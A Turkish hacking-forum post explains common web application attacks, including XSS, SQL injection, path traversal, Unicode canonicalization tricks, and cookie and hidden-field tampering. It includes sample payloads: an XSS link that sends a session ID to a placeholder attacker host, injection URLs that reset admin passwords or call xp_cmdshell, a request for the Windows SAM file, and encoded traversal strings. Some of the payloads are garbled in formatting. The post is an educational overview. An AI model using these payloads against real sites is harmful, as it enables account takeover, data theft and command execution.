Cross Site Scripting ve Sql İnjection

  • Konbuyu başlatan Arsenik-tht
  • Başlangıç tarihi
A

Arsenik-tht

Ziyaretçi
Günümüzde, Web uygulamaları, değişik önem ve şekillerde birçok şirketin varlığının bir parçasıdır. Bu varlık, bazı şirketler için, şirketin ana faaliyet alanının can damarını teşkil ederken (örneğin, sadece internette varolan şirketler gibi), bazı şirketler için sadece internette varolmaktan öteye gitmemektedir. Her ne şekilde olursa olsun Web de var olmak ve bu varlığın kesintiye uğramaması şirketler açısından oldukça önemli olmakta edilmek, müşteri bilgilerinin saldırganların eline geçmesi tüm yöneticilerin kabusu olmaktadır. Şirketler, Web uygulamalarının güvenliğini sağlamak için; bu işin kalbinde duran Web sunucularının güvenliklerini ellerinden geldiğince arttırmakta (hardening), sunucularını bir DMZ'e(1) konumlandırmakta, güvenlik duvarları(2) oluşturmakta ve sunumcu trafiğini IDS(3) ile gözlemlemektedir. Tüm bu önlemlere rağmen, Web siteleri hala edilmektedir. Peki ama ne yanlış yapılıyor, bu duruma karşı ne yapılabilir? Aslında bu soruyu cevaplamak o kadar da güç değil.Saldırganlar bizi en zayıf yerimizden vuruyorlar, Web uygulamalarının ta kendisinden. Bu noktada birçok etken var. Web uygulamalarını yazmak, program yazmaktan nispeten daha kolay olduğu için, bu alanda program yazanların sayısı oldukça fazla. Fakat baktığımızda bu tür programcıların çoğunun bilgisayar programlama eğitiminden yoksun, lise öğrencisi benzeri bir profil oluşturduğunu görüyoruz. Tabiki bu kişilerin kod yazma yetenekleri genellikle çabuk, metodik olmayan ve güvenliği programlamanın bir parçası olarak görme farkındalığından yoksun oluyor. Web uygulamalarının tabiatı gereği, programların değişik parça ve teknolojilerle olan ilişkileri, örneğin arkada bulunan bir database’e yapılan bağlantı gibi, programcıları uygulama ile ilişkisi olan tüm farklı sistem ve teknolojilerden yeterince bilgi sahibi olmasını gerektiriyor. Bunun üzerine bir de Web sunucusunda bulunan zayıf noktalar, ince ayar hataları, database bağlantıları ve seans(4) yönetimi gibi konular da eklenince sahne daha da karmaşık bir hal alıyor.

Sonuç olarak saldırganlar tüm bu karmaşık sistemde var olan sorunlardan biri ya da diğerini kullanıp işlerini tamamlıyorlar. Bu metinde sizlere nelerle karşı karşıya olduğunuzdan ve saldırganların hangi yontemleri kullandıklarından bahsedeceğim. Peki bunlara karşı ne önlemler alırız, o da bir sonraki metnimizin konusu. Saldırı biçimlerine bilmiyenlerin okuyabilmeleri aşina hale getirebilmek için isimlerini orjinal haliyle vereceğim, fakat açıklamaları Türkçe sunacağım.


• Cross Site Scripting

HTML tabanlı eposta içine ya da Web sayfasına gömülen özel hazırlanmış bir URL, kullanıcının bilmeden sunucudan Web sayfası ile beraberinde bir kod parçasını almasına ve kendi bilgisayarında çalıştırmasına neden olmaktadır. Bu iş bazen bir epostadaki linke tıklamak ile olurken, bazen bir Web sayfasına gömülmüş bir kod parçasının otomatik olarak çalışması sonucu, kullanıcının tıklamasına bile gerek kalmadan olabilir.

(1) DMZ – Demilitarized Zone, Yerel alan ağı ile İnternet arasında özel olarak oluşturulmuş ve genellikle Internet tarafında güvenlik duvarı ile güvenliği artirilmis ara alan
(2) Firewall, Güvenlik duvarı.
(3) IDS – Intrusıon detectıon System, Yerel alan ağına yapılan saldırıları tespit etmeye yarayan sistemlerdir.
(4) Session - Seans, Web sunucusuna bir browser’in bağlantısı ile ayrılışı arasında geçen zaman.



Buna bir örnek verelim;
Siz bir Web sitesine üyesiniz ve kullanıcı adınız ve şifrenizi girerek kullanmaya başladınız, yani bir seans yarattınız. Siz bu uygulamadan çıkmadıkça, uygulama sizi bu seans için yarattığı özel bir değişkenle tanıyor (sessionID). Tam bu sırada bir eposta geliyor ve içinde şöyle bir link var,
<a href = http://www.firmam.com?loginname=mehmetturan=<script> Document.write('img src= "http://www.saldırgan.com +">Kullanıcı farkında olmadan bu linke tıkladığında sessionID’sini www.saldırgan.com’a gönderecektir.
Daha başka kod çalıştırma metodlarına örnek olarak aşağıdakiler verilebilir;
? <img src ="kod.js">
? <iframe = "kod.js">

• Direct SQL Injection

Kullanıcıdan alınan girdilerin iyi kontrol edilmemesi ve iş mantığı ile uygulama mantığının birbirinden iyice ayrılmaması sonucu, saldırganlar uygulamaya direk SQL komutları gönderebilir ve database’in içinden bilgi alabilir, bilgileri değiştirebilirler.
Örneğin;
http://www.firmam.com/chagepwsd?pwd=şifre&newpwd=şifreyeni&uhttp://www.firmam.com/chagepwsd?pwd=şifre&newpwd=şifreyeni&u[/URL] id=123323453
Yukarıdaki URL’ye bakılacak olursa, uygulama üç(3) parametre alarak şifre değişikliği yapıyor. Muhtemelen arka planda database'e şöyle bir SQL komutu veriliyor;
UPDATE usertable SET pwd='$INPUT(pwd)’ WHERE uid='$INPUT(uid)';
Eğer uygulamada giriş kontrolu yapılmıyorsa aşağıdaki SQL URL’ye gömülerek Administrator şifresi resetlenebilir;
http://www.firmam.com/chagepwsd?pwd=şifre&newpwd=şifreyeni&uhttp://www.firmam.com/chagepwsd?pwd=şifre&newpwd=şifreyeni&u[/URL] id=123323453'+or+uid+like'%admin%';--%00
Yukarıdaki SQL saldırganın yaptığı değişiklik ile aşağıdaki hali aldı;
UPDATE usertable SET pwd='$INPUT(pwd)' WHERE uid='$INPUT(uid)' or uid='%admin%';
Örnekleri arttırmak mümkün;
http://www.firmam.com/script?pwd=ngomo&uid...r+uid+like' %25admin%25';--%00
http://www.firmam.com/script?0';insert...pg_shadow+usena me+values+('hoschi')
http://www.firmam.com/script?0';EXEC+m....xp_cmdshell(cm d.exe+/c)
http://www.firmam.com/script?size=0'+u...9;1','1 ','1',concat(uname||'-'||passwd)+as+i_name+'1'+'1'+ from+usertable+where+uname+like+'25

• Direct OS Commands

Yukarıda bahsedildiği gibi SQL komutlarının yerine sistemde var olan programlama dillerinin işletim sistemi ile haberleşmede faydalandığı komutları kullanarak saldırganın istediği komutları dolaylı olarak icra ettirmesi mümkün olabilir. Bu komutlar URL satırından ya da HTML formları üzerinde bulunan alanların zararlı kod parçaları/komutlar ile doldurulması ile sisteme sokulabilir.

• Path Traversal and Path Disclosure (Forceful Browsing)

Uygulamalar eğer girdileri kontrol etmezler ise URL(5) satırında bulunan bazı meta karakterleri doğru yorumlayamazlar ve işletim sistemine bazı işlemler yaptırabilirler. Bunların en popüleri yerleri bilinen bazı dosyaları almak, browser’da göstermektir.
Örneğin URL satırına aşağıdaki adres yazılan browser,
http://www.firmam.com/../../../../../winnt/repair/sam
sunucudan SAM (kullanıcı adları ve şifrelerin bulundugu database) dosyasını isteyecek ve sunucu eğer bu probleme karşı korunmuyorsa dosyayı gönderecektir.

(5) URL – Unıfied Resource Locator, Internet sitelerinin adresine verilen isim.




• Null Bytes

Birçok Web uygulaması formlardan, URL’den aldığı girdileri arka tarafta çalışan bir C, Java programına iletir (parameter passing). Bu durumda bazen Web uygulaması için kabul edilen bir karakter, C gibi bir dilde özel anlamlar içeriyor olabilir.
Örneğin \0 karakteri C dilinde bir dizinin sonu anlamına gelirken AAA\0BBB gibi bir dizin Web uygulaması için gayet normal bir giriş olabilir. Bu farklılık sunucuda bazı komutları işletmeye, dosyaları kopyalamaya, kontrolleri bypass etmeye neden olabilir.

• URL Encoding

Web uygulamalarında; uygulama ile browser’lar arasında bilgi aktarımı iki biçimde olur. Bilgiler ya URL satırında taşınır ya da HTTP başlığına(6) gömülür. URL satırında her türlü veri taşınabileceği için SQL injection metodunda olduğu gibi normalde reddedilecek veriler URL encoding metodu ile sunucuya iletilebilir ve uygulama farklı şeylere zorlanabilir.
Örneğin;
http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%2 2http%3a%2f%2fwww.yourserver.c0m%2fbadscript.js%22%3e%3c%2fs cript%3e
<script src= "http://www.yourserver">ya da
http://www.myserver.c0m/search.asp?lname=smith%27%3bupdate%2 0usertable%20set%20passwd%3d%27hAx0r%27%3b--%00
SELECT lname, fname, phone FROM usertable WHERE lname='smith';update usertable set passwd='hAx0r'

• Canonicalization

Kanonik forma dönüştürmek, bir işareti en kısa ve standart hale dönüştürmek işidir. Bu işlem birden çoksistemin aynı veri ile uğraşması halinde önemli bir hal alır. Web uygulamaları genellikle birdençok uygulamanın birleşiminden oluştuklarından genellikle bu işlemi sıkça yapmak zorunda kalırlar. Eğer bazı kontroller ve güvenlik tetkikleri giriş verisi üzerine yapılacak ise uygulamanın girdiyi doğru şekilde kanonize etmesi ve kontrolleri bu işlemden önce mi sonra mı yapacağının belirlenmesi vazgeçilmez çok önemli bir hal alacaktır. Buna örnek olarak Unicode kullanımını verebiliriz. Unicode günümüzde çokca kullanılan bir veri temsil biçimidir, ASCII gibi karakter setlerinin tüm dünya dillerini temsil etmeye yetmemesi (8 bit) ihtiyacı nedeniyle üretilmiş bir veri ifade standardıdır. Bazı uygulamalar (özellikle eski uygulamalar) Unicode ile çalışmak üzere yazılmadıklarından, ASCII-Unicode dönüşümü sağlayan ara dönüşüm formatları bulunmuştur (UTF4, UTF. Dolayısıyla 8 bitlik bir işaret 16 bit ile ifade edilirken, birden çok farklı biçimde ifade edilebiliyor hale gelmiştir. Örneğin ¨.¨ nokta ASCII olarak 2E ile ifade edilirken UTF8 olarak CO AE, E0 80 AE, F0 80 80 AE, F8 80 80 80 AE ve FC 80 80 80 80 AE olarak gösterilebilmektedir. Dolayısıyla uygulamaların bir girdinin içinde karakteri kontrol etme işleri daha da zorlaşmaktadır. Buna ilave olarak herhangi bir veriyi uygulamaya üç (3) farklı yöntem ile gönderebileceğimizi dikkate alarak bakarsak iş çok daha çözümü zor hale gelmektedir. Örneğin; uygulamaya aşağıdaki gibi bir veri göndermeyi istesek,
http://host/cgi-bin/bad.cgi?foo=../../bin/ls%20-al|

(6) Header - Başlık, HTTP sunucusu ile browser arasında kullanıcının görmediği ilk iletişim, bu esnada bazı kontrol bilgileri paylaşılır.



URL olarak şöyle,
http://host/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al|

Unicode olarak ise aşağıdaki gibi öndört (14) farklı şekilde gönderebilmekteyiz;
http://host/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-a l|
http://host/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%2 0-al|
http://host/cgi-bin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/l s%20-al|
http://host/cgi-bin/bad.cgi?foo=..%c0%af..%c0%af..%c0%af../b in/ls%20-al|

Yani uygulama aynı girdiyi bu farklı şekillerde algılayabilmeli ve hepsinde doğru davranabilmelidir.

• Cookie Manipulation (Cookie Poisoning)

Cookie(7) bilgilerini değiştirerek sunucudan başka kullanıcıların bilgilerini almak, ya da bir başkası gibi davranmak mümkündür.
Örneğin;
Cookie içine konmuş kullanıcı adını değiştirmek ya da admin hakkını aktive etmek gibi.
Cookie: lang=eng-us; ADMIN=no;y=1;time=12:30GMT aşağıdaki sekilde degistirilerek ADMIN hakki alinabilir;
Cookie: lang=eng-us; ADMIN=YES;y=1;time=16:30GMT

• HTTP Header Manipulation

HTTP başlıkları browserlardan sunuculara gönderilen kontrol bilgilerini içerir ve normalde browser’in gönderdiği bu bilgiyi değiştirmek çok mümkün değildir. Ama özel yazılmış programlarla (ki böyle bir kod yazmak 15 satırlık bir kod ile mümkündür) HTTP başlıklarını değiştirmek ve eğer bazı kontroller için bunları kullanan uygulamalar var ise bu uygulamaları aldatmak mümkün olmaktadır.
Ornek bir HTTP basligi;
Host: www.firmam.com
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49

• HTML Form Manipulation

Web uygulamalarında kullanıcılara sunulan formlar, browserlar tarafından sunucuya bir HTTP isteği olarak aktarılırlar, ki bazen bu formların içlerinde ekranda kullanıcıya gösterilmeyen fakat saklanan gizli alanlar (HIDDEN VALUE), bir alana girilecek veri tipi ve uzunluğunu sınırlayan kısıtlar konulabilir. Bu kontroller ve gizli veriler, Web sayfasını kaydetmek kaynak kodunu açarak ve bu alanları istenildiği gibi değiştirilmesi suretiyle atlatılabilir. Daha sonra bu değiştirilmiş sayfa sunucuya tekrar gönderilebilir ve sunucu bu şekilde normalde müsade etmediği komutları icra etmeye zorlanabilir.
Örneğin;
<input name=”masteraccess” type=”hidden” value=”N”> şeklindeki bir gizli alan <input name=”masteraccess” type=”hidden” value=”Y”> şeklinde değiştirilip sunucuya gönderilebilir.

(7) Cookie – HTML protokolü stateless olduğundan web sunucusu bir browser ile bir önceki haberleşmesinde ne konuştuğunu hatırlamaz, bu nedenle arka arkaya ne konuşulduğunun önemli olduğu haberleşmelerde, örneğin alışveriş çantasının içinde bazı şeyler varken ya da kullanıcıya özel bir sayfaya ulaşırken her sayfada tekrar şifre sorma zorunluluğunu kaldırmak için, kullanıcın makinesinde Cookie denilen text dosyalar saklanır.




• URL Manipulation

Browserdan sunucuya bilgileri aktarırken kullanılan metodlardan birisi bilgileri URL kısmına koymaktır. Buradaki değerler değiştirilerek kontroller atlatılabilir, başkası gibi davranılabilir.
Örneğin;
http://www.firmam.com/script.php?accountno=109880212334583&c reditamount=1000000
olan bir URL isteği, şu şekle dönüştürülebilir;
http://www.firmam.com/script.php?accountno=9998802134583&cre ditamount=1000000000000

• Comments in HTML

HTML sayfalarının kaynak kodlarına yazılan yorumlar( bazen çok zengin bilgi kaynakları teşkil edebilirler. Yorumlar, genellikle geliştirme sırasında hem dökümantasyon, hem program okunulurluğunu artırmak, hem de farklı geliştiricilerin bilgi paylaşımını kolaylaştırmak için çokca kullanılmakta olup, uygulama üretim sunucusuna geçirilirken ya bu yorumlar unutulmakta ya da önemsenmeyip kaynak kodun içerisinde bırakılmaktadırlar. Bu yorumları kullanan saldırganlar programlar hakkında birçok bilgiye sahip olabilmekte, bazı değişiklikler yapabilmekte ve sunucuları istedikleri işlemleri yapmaya zorlayabilmektedirler.

• Old, Backup and Unreferenced Files

Birçok Web sistem yöneticisi, ya uygulamalarla gelen örnek programları, ya da eskiden kullanılan ve halihazırda kullanılmayan sayfa/programları kaldırmadan bırakmaktadırlar (sadece bu sayfalara olan linkler kaldırılmakta). Bu örnekler/say-falar genellikle birçok zayıf nokta ile doludurlar ve sunucunun saldırganların eline geçmesine imkan sağlamaktadırlar.

• Debug Commands

URL ya da HTML koduna gömülmüş ve uygulamayı debug(9) moduna geçirmeyi sağlayan switch şeklindeki değişkenler, uygulama hakkında birçok şey öğrenmek için saldırganlar tarafından kullanılabilir.
Örneğin;
http://www.firmam.com/acc_kontrol?ID=1227dsddi8qjgqllkjdlas& Disp=no
şu biçime dönüştürülebilir,
http://www.firmam.com/acc_kontrol?Debug=on&ID=1227dsddi8qjgq llkjdlas&Disp=no
ya da
<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>
<FORM METHOD=POST ACTION="http://www.firmam.com/poll?1688591" TARGET="sometarget" DEBUG=”666”>
<INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122">
<!-- Question 1 -->
şeklinde kod içine saklanmış bir değişken değeri ile oynanarak debug moduna geçmeye zorlanabilir, her ne kadar bu şekilde bir bulgu yapmak bir öncekine nazaran çok daha zor olsa da, saldırganlar tarafından sıkça denenmektedir.

( Comment - Yorum, kaynak koda bilgi, dökümantasyon için yazılan satırlar ki bu yorumlar programın çalışması esnasında uygulanmazlar.
(9) Debug – İzleme, programları satır, kullanılan değişkenlerin değerleri ile izlemeye yarayan çalıştırma biçimi.




• File/Application Enumeration

Standard kurulumlarda var olan dosyaların varlığını aramak, uygulamada hangi program/dosyaların var olduğunu tespit etmek ve bunların bilinen zayıflıklarından faydalanmak saldırganlar tarafından sıkça kullanılan bir metoddur. Saldırganlar, URL kısmına var olabileceklerini düşündükleri dosyaların adreslerini deniyerek sunucunun döndüreceği standart cevaplara bakarlar (HTTP 200 cevabı dosya var, demek iken HTTP 404 dosya yok anlamına gelmektedir), dönen cevaba göre uygulamanın bir haritasini çıkarırlar ve bildikleri dosyalar için –varsa- zayıf noktalardan faydalanırlar.

• Default Accounts, Misconfiguration, Vulnerabilities

Kurulan uygulamalarda bırakılan standart kullanıcılar ve şifreleri, ilk kurulum halinde bulunan gevşek ayarlar, uygulamalardan kaynaklanan hatalar, saldırganların rahatlıkla sunuculara ve onlara bağlı diğer sistemlere ulaşmalarına olanak sağlarlar.

• Protocol Piggybacking

Müsade edilmeyen protokolleri HTTP içine gömmek ya da var olan yapılarını değiştirerek sunmak yolu ile saldırı gerçekleştirilebilir.
Örneğin, sadece proxy üzerinden bağlantıya izin veren bir uygulamaya gonderilen HTTP isteği değiştirilerek proxy’den geliyor gibi gösterilebilir.

• Application Buffer Overflow

Sunucunun beklediği yanıtı, olması gerekenden çok daha uzun tutarak, uygulamada bu girdi için ayrılan ön bellek alanını taşırmak suretiyle işletim sistemi alanında zararlı kod çalıştırmak sağlanabilir.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.